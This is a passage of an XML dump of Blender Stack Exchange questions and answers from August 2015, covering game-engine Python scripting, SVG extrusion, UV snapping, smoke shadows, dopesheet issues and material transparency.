  <row Id="35913" PostTypeId="2" ParentId="35909" CreationDate="2015-08-18T04:03:08.143" Score="0" Body="&lt;p&gt;You can not use a variable for KX_GameObject that contains characters like &quot;.&quot;, &quot;,&quot;, &quot;!&quot; etc. You must use only lowercase and uppercase letters and numbers. In this case you must do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HUDtext = hud.ojects[&quot;HUD.text&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HUD_text = hud.objects[&quot;HUD.text&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use any variable name that contains only letters and numbers. Note that it can't start with number.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-08-18T04:03:08.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35914" PostTypeId="2" ParentId="33406" CreationDate="2015-08-18T04:06:51.990" Score="1" Body="&lt;p&gt;when you press space. use python to add a invisible ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;parent the snails physics object to the ball no collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the snail,should be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cube (physics,bound)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;armature parented to cube&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;skin parented to armature&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;and the ball should be a rigid body,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;invisible, sphere physics, bound&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your going to want to use python and a timer to do it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if you need more help.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-08-18T04:06:51.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35915" PostTypeId="2" ParentId="32108" CreationDate="2015-08-18T04:17:21.170" Score="1" Body="&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;own = cont.owner&#xA;&#xA;ray = own.rayCast(own.worldPosition+(own.worldOrientation.col[2]*-(actor center from feet distance)),own.worldPosition,'',0,0,0)&#xA;if ray[0]:&#xA;&#xA;    if own.localLinearVelocity.x&amp;gt;(stick speed):&#xA;&#xA;        own.applyForce((0,0,9.8*own.mass),0)&#xA;&#xA;        own.applyForce(own.worldOrientation.col[2]*(-own.mass*9.8),0)&#xA;        own.alignAxisToVect(ray[1],2,.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="13034" LastEditDate="2015-08-18T04:27:28.663" LastActivityDate="2015-08-18T04:27:28.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35916" PostTypeId="2" ParentId="28372" CreationDate="2015-08-18T04:42:25.250" Score="-1" Body="&lt;p&gt;you can do this with Glsl script,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or python and maybe gsl nodes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and with bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you need physics to work,&#xA;I think the only possibility is python,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(scaling and moving physics objects and deforming the graphics mesh however you feel like)&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-08-18T04:42:25.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35917" PostTypeId="2" ParentId="33276" CreationDate="2015-08-18T05:11:42.637" Score="0" Body="&lt;p&gt;I've thought about this and have 2 ways I have come up with doing this.  You'll decide which one to do based on your skill level and if it's a multiplayer game or not.  Either way it will require multiple scenes set up exactly the same except for the objects you want changed.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's a single player game, have the game change the scene when the character puts the glass to his/her eye so that he/she see's the new scene. The  easiest way to do this is just having the scene change to the new one and making the glass be a pair of glasses you can put on and take off.&lt;br&gt;&#xA;If it's a multiplayer one you can do the same thing, although it's more difficult because you have to make all the characters have 2 locations.  One in the normal scene and one in the glass only scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to get real creative and are reasonable at coding you also could set it up so that the glass works as a video camera and have a camera in the second scene that will stay in a relative position in the second scene to the glass in the first scene.  This way you can hold the glass up and see the normal scene around the glass and the changes through the glass.&lt;br&gt;&#xA;Again, if it is going to be multiplayer you are going to need to set the players up so that they are always in 2 positions, one in the normal scene and the other in the secondary scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Side note, another bonus to the 2 scene set up is you can set the second scene to have a mystic look to it so that it looks like the glasses are seeing through the dimensions, or you can just copy and paste the scene with your new changes so it looks just like the other, it just gives you a lot of flexibility this way.&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-08-18T05:11:42.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35918" PostTypeId="2" ParentId="31408" CreationDate="2015-08-18T05:18:50.083" Score="1" Body="&lt;p&gt;This is easy: in the material panel for the domain, disable &quot;traceable&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This works if you don't want any shadow at all. If you want to still have the shadow from the smoke, refer to gandalf3's answer.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastEditorUserId="15637" LastEditDate="2015-08-18T08:56:54.440" LastActivityDate="2015-08-18T08:56:54.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35919" PostTypeId="1" AcceptedAnswerId="35967" CreationDate="2015-08-18T05:21:22.557" Score="4" ViewCount="1997" Body="&lt;p&gt;I have imported an svg and I am using the tutorials here: &lt;a href=&quot;http://spolearninglab.com/curriculum/software/3d_modeling/blender/blender_02.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://spolearninglab.com/curriculum/software/3d_modeling/blender/blender_02.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here: &#xA;&lt;a href=&quot;https://studiogreenleaf.wordpress.com/2013/11/23/inkscape-to-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://studiogreenleaf.wordpress.com/2013/11/23/inkscape-to-blender/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems pretty straightforward, and I even got it to work with one shape, but other shapes are truncated or clipped in strange ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, this original svg is simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AGJmG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AGJmG.png&quot; alt=&quot;energy node&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then when I import it into blender using the above method I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jVyAl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVyAl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another one I have is even more strange.  Original:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yR5ka.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yR5ka.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then in blender using import svg and extrusion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U98BV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U98BV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love to know what I am doing wrong here!  I have gone over both articles several times and not really sure what else to try.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  Here are the svg files for reference - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://elephantlaboratories.com/svg/sol-energy-node.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elephantlaboratories.com/svg/sol-energy-node.svg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://elephantlaboratories.com/svg/sol-transmit-tower.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elephantlaboratories.com/svg/sol-transmit-tower.svg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14955" LastEditorUserId="14955" LastEditDate="2015-08-18T05:38:54.637" LastActivityDate="2018-01-17T22:38:30.360" Title="How do I extrude an imported svg along the z axis without clipping the original shapes?" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35920" PostTypeId="2" ParentId="35749" CreationDate="2015-08-18T05:54:40.327" Score="1" Body="&lt;p&gt;Text objects are converted to a mesh with a plane for each letter. The planes get a rendered texture of the chosen font. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this render does not 100% match the text object it is based on. That is the reason for the size and location differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest to split your text object that you get one for each button. This reduces the visible location and size differences. Additionally it allows you to parent the text to the button.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-18T05:54:40.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35921" PostTypeId="2" ParentId="35876" CreationDate="2015-08-18T06:32:41.140" Score="3" Body="&lt;p&gt;It's actually pretty easy to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Create a proxy PropertyGroup that will represent your bool properties: that proxy should have just a &quot;value&quot; field of type BoolProperty. Also make sure the update function of that property will actually change the ID property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class BoolPropertyProxy(bpy.types.PropertyGroup):&#xA;    value = BoolProperty(name=&quot;Value&quot;, update=bool_property_update)&#xA;&#xA;def minko_script_bool_property_update(self, context):&#xA;    context.active_object[self.name] = self.value&#xA;&#xA;bpy.utils.register_class(BoolPropertyProxy)&#xA;bpy.types.Object.bool_properties = bpy.props.CollectionProperty(type=BoolPropertyProxy)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 - When creating your ID properties, if the property is a bool then create and store an additional BoolPropertyProxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj['properties'] = props&#xA;for key, key_type in props.items():&#xA;    obj[key] = get_property_default_value(key)&#xA;    if key_type == 'bool':&#xA;        bool_prop = obj.bool_properties.add()&#xA;        bool_prop.name = key&#xA;        bool_prop.value = get_property_default_value(key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3 - In the UI, if the property is typed as a bool, use the corresponding proxy instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for key, key_type in obj['properties']:&#xA;    if key_type == 'bool':&#xA;        for bool_prop in obj.bool_properties:&#xA;            if bool_prop.name == key:&#xA;                col.prop(bool_prop, 'value', text=key)&#xA;                break&#xA;    else:&#xA;        col.prop(obj, '[&quot;' + key + '&quot;]', text=key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value is stilled stored as an integer, but it's displayed as a checkbox which is much more convenient. I guess the same &quot;proxy&quot; idea can be used for pretty much any type.&lt;/p&gt;&#xA;" OwnerUserId="16431" LastActivityDate="2015-08-18T06:32:41.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35922" PostTypeId="2" ParentId="31408" CreationDate="2015-08-18T06:35:41.477" Score="6" Body="&lt;p&gt;Enable &lt;em&gt;Shadow &gt; Receive Transparent&lt;/em&gt; in the ground plane's material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mjrvO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mjrvO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-18T06:35:41.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35924" PostTypeId="1" CreationDate="2015-08-18T07:48:24.103" Score="1" ViewCount="53" Body="&lt;p&gt;So i got an intro from youtube.It looks really cool but the rendering takes 5-6 maybe 7 hours for just 10 seconds :(&#xA;Is there a way i can pause it and then resume the render ANY time i want?&#xA;Please say yes :D&lt;/p&gt;&#xA;" OwnerUserId="16499" LastActivityDate="2015-08-18T07:48:24.103" Title="Can i pause and close blender and then resume it later?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2015-08-18T08:02:24.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="35926" PostTypeId="1" CreationDate="2015-08-18T09:03:24.387" Score="0" ViewCount="73" Body="&lt;p&gt;I have a very narrow image (e.g. 100px * 10000px), and I would like to fold it into an infinity symbol as a strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this model: &lt;a href=&quot;http://www.turbosquid.com/3d-models/3ds-mobius-strip/396686&quot; rel=&quot;nofollow&quot;&gt;http://www.turbosquid.com/3d-models/3ds-mobius-strip/396686&lt;/a&gt; It seems like all I have to do is put the image on each face. Is this something that can be done with Blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found the following model: &lt;a href=&quot;http://www.turbosquid.com/3d-models/3ds-mobius-strip/574060&quot; rel=&quot;nofollow&quot;&gt;http://www.turbosquid.com/3d-models/3ds-mobius-strip/574060&lt;/a&gt; Can I expect more/less trouble in doing this with this model than with the other one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra question: would it be hard to create my own model to do this?&lt;/p&gt;&#xA;" OwnerUserId="16501" LastActivityDate="2015-08-18T09:03:24.387" Title="Fit a narrow image on a strip" Tags="&lt;image&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35927" PostTypeId="2" ParentId="35894" CreationDate="2015-08-18T11:41:13.780" Score="2" Body="&lt;p&gt;You need to use a material &lt;code&gt;mat&lt;/code&gt; applied to each text object, and set its &lt;code&gt;use_transparency&lt;/code&gt; property to true :   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat.use_transparency = True&#xA;mat.transparency_method = 'Z_TRANSPARENCY'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, around the particular &lt;em&gt;t&lt;/em&gt; you want the text to have full opacity, you need to set the aplha property of the material, and insert a keyframe corresponding to the alpha&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(anim_length):&#xA;    alpha = (t - i) / anim_length + 1 - t / anim_length&#xA;    scene.frame_set(t - i)&#xA;    mat.alpha = alpha&#xA;    mat.keyframe_insert(data_path='alpha')&#xA;    scene.frame_set(t + i)&#xA;    mat.alpha = alpha&#xA;    mat.keyframe_insert(data_path='alpha')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-08-18T11:41:13.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35928" PostTypeId="2" ParentId="35792" CreationDate="2015-08-18T11:47:54.510" Score="1" Body="&lt;p&gt;&lt;code&gt;Obj&lt;/code&gt; files do not store color/texture information. However, it can contain a reference to an &lt;code&gt;*.mtl&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can check the &lt;code&gt;obj&lt;/code&gt; file content and look if it contains a reference to an &lt;code&gt;mtl&lt;/code&gt; file - which itself stores the colors of points/textures&lt;/li&gt;&#xA;&lt;li&gt;Or maybe you can use another format when exporting (&lt;code&gt;ply&lt;/code&gt; does store color information for each point for example). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-08-18T11:47:54.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35929" PostTypeId="2" ParentId="35796" CreationDate="2015-08-18T11:58:58.420" Score="7" Body="&lt;p&gt;So I just tested this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, card order does not make a difference. Doesn't really matter which one is set as system (if the system is doing nothing) or to which the monitors are plugged. The render times were off by fractions of a second (BMW benchmark scene with 2 cars).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both my cards are in PCI Express 3.0 at x16 slots.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-08-18T12:11:43.063" LastActivityDate="2015-08-18T12:11:43.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35930" PostTypeId="1" CreationDate="2015-08-18T13:47:24.173" Score="2" ViewCount="69" Body="&lt;p&gt;Sorry noob question, I've been bouncing back and forth from different tutorials some are in cycles render and some are in blender render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can i ask what is the big difference?&#xA;by the looks i am stuck in one when i start to place textures? &#xA;The first tut was a cup in cycles render, but then i picked up something else on blender render and i've been going that way for a while,&#xA;other tuts have been going that way anyway.&#xA;Which should i choose and i gather i will have to stick to it or re adjust all 'graphics'?&#xA;I've done a bit of searching for a definitive answer but can't find anything :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm surprised there is no cycles render tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="16504" LastActivityDate="2015-08-18T13:47:24.173" Title="What is the difference between blender render and cycles render?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-18T13:56:39.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="35931" PostTypeId="1" AcceptedAnswerId="35932" CreationDate="2015-08-18T14:11:16.790" Score="2" ViewCount="799" Body="&lt;p&gt;For example, let's think about a scene where there are two objects: &quot;Door&quot;, and &quot;Button&quot;. &quot;Door&quot; has an animation which makes it transform and &quot;open&quot; itself. Now, is there a way to program &quot;Button&quot; in such a way that if it collides with a particular material (for example, the skin of the player), it triggers a &quot;Collision&quot; sensor, and a controller attached to the &quot;Collision&quot; sensor activates an actuator in the &quot;Door&quot; object that makes it play the animation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the situation mentioned above is clear. Thanks.  &lt;/p&gt;&#xA;" OwnerUserId="16361" LastActivityDate="2015-08-18T14:34:46.300" Title="BGE: How do I make a sensor of one object trigger an actuator of another object?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35932" PostTypeId="2" ParentId="35931" CreationDate="2015-08-18T14:34:46.300" Score="2" Body="&lt;p&gt;Add a collision sensor in the button. There are 2 options there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;collision with the material of the player and&lt;/li&gt;&#xA;&lt;li&gt;collision with a property that you can add to a player.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then add an action actuator to the door. Remember that you should add the animation actuator to the object that is gonna get animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At last, connect them by dragging the &quot;noodle&quot; from the end of the sensor of object 1 to the start of the actuator of object 2. Remember to have them both selected so you can see both their SCAs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case those 2 can't be connected add manually a controller &quot;And&quot; and drag the noodle from the sensor to the start of the controller, and then drag the noodle from the end of the &quot;And: controller to the start of the actuator.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-18T14:34:46.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35933" PostTypeId="1" CreationDate="2015-08-18T15:06:07.390" Score="7" ViewCount="8889" Body="&lt;p&gt;Trying to make a simple bent hook with rounded that looks like the attached, but with rounded ends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SIxul.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SIxul.jpg&quot; alt=&quot;Picture of bent hook with rounded ends&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can not get the ends to close with a rounded cap.  I do not want to use an array --the instructions given with the first suggested / help link (shown next) do not work anyways. Can anyone please help? &lt;a href=&quot;https://blender.stackexchange.com/questions/8750/pipe-with-round-caps-ends&quot;&gt;Pipe with round caps (ends)?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16246" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2021-02-03T02:58:36.273" Title="Rounded Ends (or caps) on Biezer Curve Pipe" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35934" PostTypeId="1" AcceptedAnswerId="35937" CreationDate="2015-08-18T15:38:47.333" Score="1" ViewCount="6291" Body="&lt;p&gt;My dopesheet's keyframes doesn't appear at all, when i add a keyframe a kind of orange rectangle appears between the keyframes but i can't see the actual yellow dot that are normally on the software.&#xA;Please, if someone knows what to do please tell me, i would be really thankful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R67vG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R67vG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-08-18T15:47:54.930" Title="My keyframes doesn't appear on the Dopesheet at all?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35935" PostTypeId="1" AcceptedAnswerId="35938" CreationDate="2015-08-18T15:39:39.077" Score="2" ViewCount="1798" Body="&lt;p&gt;I do a lot of modeling with mesh that has rectangular faces. I would like to unwrap them and then align the four corners of my faces to the four corners of the UV image. I simply want the entire image to cover each face completely. It is easy to select each of the four verts to move them to the corners, but is there a way to get them to snap to the corners?&lt;/p&gt;&#xA;" OwnerUserId="16506" LastActivityDate="2015-08-18T16:24:43.013" Title="When working in the UV editor, how can I snap the face corners to the four corners of the image?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35936" PostTypeId="1" CreationDate="2015-08-18T15:42:59.550" Score="2" ViewCount="1122" Body="&lt;p&gt;I tried to model something like a cog. I created one tenth of the cog, mirror modified on 2 axes and added a circular array modifier to get the final result, using the merge option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import the final model in Substance Painter, it looks as if the normals were off on the big flat surface. At least that's how I interpret it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/FNjx4OK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/FNjx4OK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked, and all of the selected vertices below are on the exact same Z. Not their median, but the individual values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ceuxe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceuxe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I simply create a circle mesh and fill it, I get a perfectly flat mirror surface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SGe5y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SGe5y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/gXcqJlB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/gXcqJlB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shading entirely smooth or flat doesn't seem to influence this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DOmqC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DOmqC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i6kLk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i6kLk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2015-08-18T16:29:04.157" LastActivityDate="2019-03-01T01:08:11.373" Title="How to solve normals artifacts?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;mesh&gt;&lt;uv&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35937" PostTypeId="2" ParentId="35934" CreationDate="2015-08-18T15:47:54.930" Score="2" Body="&lt;p&gt;In the header of the Dope Sheet you have selected to show only animation channels that have errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4L3Fi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4L3Fi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;De-select this to show your keyframes.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-08-18T15:47:54.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35938" PostTypeId="2" ParentId="35935" CreationDate="2015-08-18T16:16:43.620" Score="2" Body="&lt;p&gt;You can check &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/textures/mapping/uv/layout_editing.html?highlight=constrain%20image#constraining-to-image-bounds&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Constrain to image bounds&lt;/strong&gt;&lt;/a&gt; option in the &lt;em&gt;UVs&lt;/em&gt; menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RAUQP.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RAUQP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can scale your UVs as long as they take less place then the texture space. When they meet the boarders you'll no longer be able to scale them up.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2015-08-18T16:24:43.013" LastActivityDate="2015-08-18T16:24:43.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35939" PostTypeId="1" AcceptedAnswerId="35946" CreationDate="2015-08-18T16:34:05.870" Score="5" ViewCount="3003" Body="&lt;p&gt;I'm working on a material for a dice. My first attempt below has a more velvet look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CfnWH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfnWH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I've downloaded a material from Blendswap with this outcome:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V5ML7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V5ML7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the top of the dice, but the rest is not OK. After finding a tutorial on how to create a glossy plastic the dice looks like this (I used the same red color for the diffuse and glossy shader):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nj9Y5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nj9Y5.jpg&quot; alt=&quot;enter image description 